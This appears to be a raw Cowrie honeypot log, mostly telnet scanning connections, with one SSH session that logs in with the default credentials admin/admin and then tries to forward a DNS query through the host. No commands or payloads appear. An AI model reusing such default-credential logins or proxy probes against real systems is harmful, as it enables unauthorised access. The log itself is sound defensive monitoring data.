{"eventid":"cowrie.session.closed","duration":35.31029415130615,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:37.665762Z","src_ip":"194.163.135.148","session":"4ca4c51342c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55934,"dst_ip":"159.203.135.109","dst_port":23,"session":"6806a600987f","protocol":"telnet","message":"New connection: 194.163.135.148:55934 (159.203.135.109:23) [session: 6806a600987f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:39.417544Z"}
{"eventid":"cowrie.session.closed","duration":31.161142110824585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:39.605375Z","src_ip":"62.182.85.24","session":"e7c5dae0ce38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614556789398193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:39.724247Z","src_ip":"62.182.85.24","session":"1697a2744792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":40858,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a58e2477583","protocol":"telnet","message":"New connection: 62.182.85.24:40858 (10.17.0.5:23) [session: 9a58e2477583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:41.247731Z"}
{"eventid":"cowrie.session.closed","duration":36.18720531463623,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:42.157226Z","src_ip":"194.163.135.148","session":"77aeed2a60df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.546923875808716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:42.198010Z","src_ip":"62.182.85.24","session":"ca31352ea934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55972,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9de9e3ca4fe","protocol":"telnet","message":"New connection: 194.163.135.148:55972 (159.203.135.109:23) [session: e9de9e3ca4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:43.821201Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.24","src_port":52996,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf82cbb546a","protocol":"telnet","message":"New connection: 62.182.85.24:52996 (10.17.0.5:23) [session: baf82cbb546a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:43.938313Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":55980,"dst_ip":"159.203.135.109","dst_port":23,"session":"4087862053eb","protocol":"telnet","message":"New connection: 194.163.135.148:55980 (159.203.135.109:23) [session: 4087862053eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:45.450289Z"}
{"eventid":"cowrie.session.closed","duration":31.307448148727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:46.600002Z","src_ip":"62.182.85.24","session":"85047233a01a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56004,"dst_ip":"159.203.135.109","dst_port":23,"session":"423ec2aed9f4","protocol":"telnet","message":"New connection: 194.163.135.148:56004 (159.203.135.109:23) [session: 423ec2aed9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:48.790473Z"}
{"eventid":"cowrie.session.closed","duration":47.92732810974121,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:49.329792Z","src_ip":"62.182.85.24","session":"0b52a0826c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748572826385498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:51.204535Z","src_ip":"62.182.85.24","session":"7e70a20029b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56018,"dst_ip":"159.203.135.109","dst_port":23,"session":"59883434d546","protocol":"telnet","message":"New connection: 194.163.135.148:56018 (159.203.135.109:23) [session: 59883434d546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:51.359131Z"}
{"eventid":"cowrie.session.closed","duration":31.064375162124634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:52.313081Z","src_ip":"62.182.85.24","session":"064e78a26370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26445007324219,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:57.884389Z","src_ip":"194.163.135.148","session":"736557ad7b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90699481964111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:59.534793Z","src_ip":"194.163.135.148","session":"693f01c0e3e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57861375808716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:07:59.776965Z","src_ip":"194.163.135.148","session":"22d4d0986ac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.80797362327576,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:00.283420Z","src_ip":"194.163.135.148","session":"fa554a90d300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80068397521973,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:01.349897Z","src_ip":"194.163.135.148","session":"bc9f7c624fc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180713176727295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:02.146312Z","src_ip":"62.182.85.24","session":"77629b266f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6073739528656,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:02.463112Z","src_ip":"194.163.135.148","session":"0a3c0dc03c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10248064994812,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:03.818160Z","src_ip":"194.163.135.148","session":"7475b36372d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.639460802078247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:05.167060Z","src_ip":"62.182.85.24","session":"341b34937192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89127230644226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:05.348738Z","src_ip":"194.163.135.148","session":"66dc1b792905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56134,"dst_ip":"159.203.135.109","dst_port":23,"session":"598efa8a2f83","protocol":"telnet","message":"New connection: 194.163.135.148:56134 (159.203.135.109:23) [session: 598efa8a2f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:08.025348Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56156,"dst_ip":"159.203.135.109","dst_port":23,"session":"244d085bc088","protocol":"telnet","message":"New connection: 194.163.135.148:56156 (159.203.135.109:23) [session: 244d085bc088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:08.741675Z"}
{"eventid":"cowrie.session.closed","duration":37.48327851295471,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:10.512268Z","src_ip":"62.182.85.24","session":"0390527886ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935635089874268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:12.183225Z","src_ip":"62.182.85.24","session":"9a58e2477583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":56594,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9cb7efced0","protocol":"telnet","message":"New connection: 103.82.231.165:56594 (10.17.0.5:23) [session: 8d9cb7efced0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:13.904449Z"}
{"eventid":"cowrie.session.closed","duration":34.749913692474365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:14.167341Z","src_ip":"194.163.135.148","session":"6806a600987f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76311206817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:15.701328Z","src_ip":"62.182.85.24","session":"baf82cbb546a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56240,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebcc3b20d77e","protocol":"telnet","message":"New connection: 194.163.135.148:56240 (159.203.135.109:23) [session: ebcc3b20d77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:18.967038Z"}
{"eventid":"cowrie.session.closed","duration":35.70237421989441,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:19.523476Z","src_ip":"194.163.135.148","session":"e9de9e3ca4fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56262,"dst_ip":"159.203.135.109","dst_port":23,"session":"78cc3309d099","protocol":"telnet","message":"New connection: 194.163.135.148:56262 (159.203.135.109:23) [session: 78cc3309d099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:22.280218Z"}
{"eventid":"cowrie.session.closed","duration":37.46467471122742,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:22.914872Z","src_ip":"194.163.135.148","session":"4087862053eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56278,"dst_ip":"159.203.135.109","dst_port":23,"session":"074e322a699d","protocol":"telnet","message":"New connection: 194.163.135.148:56278 (159.203.135.109:23) [session: 074e322a699d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:23.055969Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56284,"dst_ip":"159.203.135.109","dst_port":23,"session":"da7b4a8a79b5","protocol":"telnet","message":"New connection: 194.163.135.148:56284 (159.203.135.109:23) [session: da7b4a8a79b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:23.149730Z"}
{"eventid":"cowrie.session.closed","duration":35.209229946136475,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:23.999605Z","src_ip":"194.163.135.148","session":"423ec2aed9f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.633113622665405,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:28.992131Z","src_ip":"194.163.135.148","session":"59883434d546","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56356,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b76441e951","protocol":"telnet","message":"New connection: 194.163.135.148:56356 (159.203.135.109:23) [session: 26b76441e951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:30.783204Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56384,"dst_ip":"159.203.135.109","dst_port":23,"session":"db648228675f","protocol":"telnet","message":"New connection: 194.163.135.148:56384 (159.203.135.109:23) [session: db648228675f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:34.278129Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56422,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ea9c4b47bc2","protocol":"telnet","message":"New connection: 194.163.135.148:56422 (159.203.135.109:23) [session: 2ea9c4b47bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:40.377715Z"}
{"eventid":"cowrie.session.closed","duration":33.6943461894989,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:41.719584Z","src_ip":"194.163.135.148","session":"598efa8a2f83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56434,"dst_ip":"159.203.135.109","dst_port":23,"session":"087e9fa1f936","protocol":"telnet","message":"New connection: 194.163.135.148:56434 (159.203.135.109:23) [session: 087e9fa1f936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:42.246973Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56442,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c3a6af6aa5","protocol":"telnet","message":"New connection: 194.163.135.148:56442 (159.203.135.109:23) [session: 17c3a6af6aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:43.593992Z"}
{"eventid":"cowrie.session.closed","duration":35.57912635803223,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:44.320657Z","src_ip":"194.163.135.148","session":"244d085bc088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.935400247573853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:45.839697Z","src_ip":"103.82.231.165","session":"8d9cb7efced0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56472,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c31eb2d5de8","protocol":"telnet","message":"New connection: 194.163.135.148:56472 (159.203.135.109:23) [session: 7c31eb2d5de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:47.064313Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56488,"dst_ip":"159.203.135.109","dst_port":23,"session":"8649284a38ad","protocol":"telnet","message":"New connection: 194.163.135.148:56488 (159.203.135.109:23) [session: 8649284a38ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:48.205059Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e079d8b4c0d9","protocol":"telnet","message":"New connection: 194.163.135.148:56512 (159.203.135.109:23) [session: e079d8b4c0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:51.447887Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56520,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c56d05548f","protocol":"telnet","message":"New connection: 194.163.135.148:56520 (159.203.135.109:23) [session: 90c56d05548f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:53.450039Z"}
{"eventid":"cowrie.session.closed","duration":34.93244123458862,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:53.899340Z","src_ip":"194.163.135.148","session":"ebcc3b20d77e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.436813831329346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:56.716899Z","src_ip":"194.163.135.148","session":"78cc3309d099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97344136238098,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:58.123053Z","src_ip":"194.163.135.148","session":"da7b4a8a79b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.460893392562866,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:08:58.516734Z","src_ip":"194.163.135.148","session":"074e322a699d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211110591888428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:01.994232Z","src_ip":"194.163.135.148","session":"26b76441e951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79690432548523,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:09.074936Z","src_ip":"194.163.135.148","session":"db648228675f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56650,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2408cdd75c","protocol":"telnet","message":"New connection: 194.163.135.148:56650 (159.203.135.109:23) [session: 3d2408cdd75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:09.536364Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19202,"dst_ip":"10.17.0.5","dst_port":22,"session":"76aab525e87f","protocol":"ssh","message":"New connection: 87.251.64.176:19202 (10.17.0.5:22) [session: 76aab525e87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.012512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.017112Z","src_ip":"87.251.64.176","session":"76aab525e87f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.113953Z","src_ip":"87.251.64.176","session":"76aab525e87f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.408836Z","src_ip":"87.251.64.176","session":"76aab525e87f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.508126Z","session":"76aab525e87f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.607195Z","src_ip":"87.251.64.176","session":"76aab525e87f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.708663Z","src_ip":"87.251.64.176","session":"76aab525e87f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56672,"dst_ip":"159.203.135.109","dst_port":23,"session":"40462a540261","protocol":"telnet","message":"New connection: 194.163.135.148:56672 (159.203.135.109:23) [session: 40462a540261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:12.757729Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56694,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0827f4748c","protocol":"telnet","message":"New connection: 194.163.135.148:56694 (159.203.135.109:23) [session: 6b0827f4748c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:13.779596Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56716,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dda913ec83e","protocol":"telnet","message":"New connection: 194.163.135.148:56716 (159.203.135.109:23) [session: 9dda913ec83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:15.535057Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":56718,"dst_ip":"159.203.135.109","dst_port":23,"session":"37cad9df9343","protocol":"telnet","message":"New connection: 194.163.135.148:56718 (159.203.135.109:23) [session: 37cad9df9343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:15.623780Z"}
{"eventid":"cowrie.session.closed","duration":34.081949949264526,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:16.328795Z","src_ip":"194.163.135.148","session":"087e9fa1f936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6152777671814,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:18.209141Z","src_ip":"194.163.135.148","session":"17c3a6af6aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.212297677993774,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:18.589941Z","src_ip":"194.163.135.148","session":"2ea9c4b47bc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18156814575195,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:23.245779Z","src_ip":"194.163.135.148","session":"7c31eb2d5de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.40710401535034,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:24.612073Z","src_ip":"194.163.135.148","session":"8649284a38ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.432368516922,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:09:26.880197Z","src_ip":"194.163.135.148","session":"e079d8b4c0d9","protocol":"telnet"}
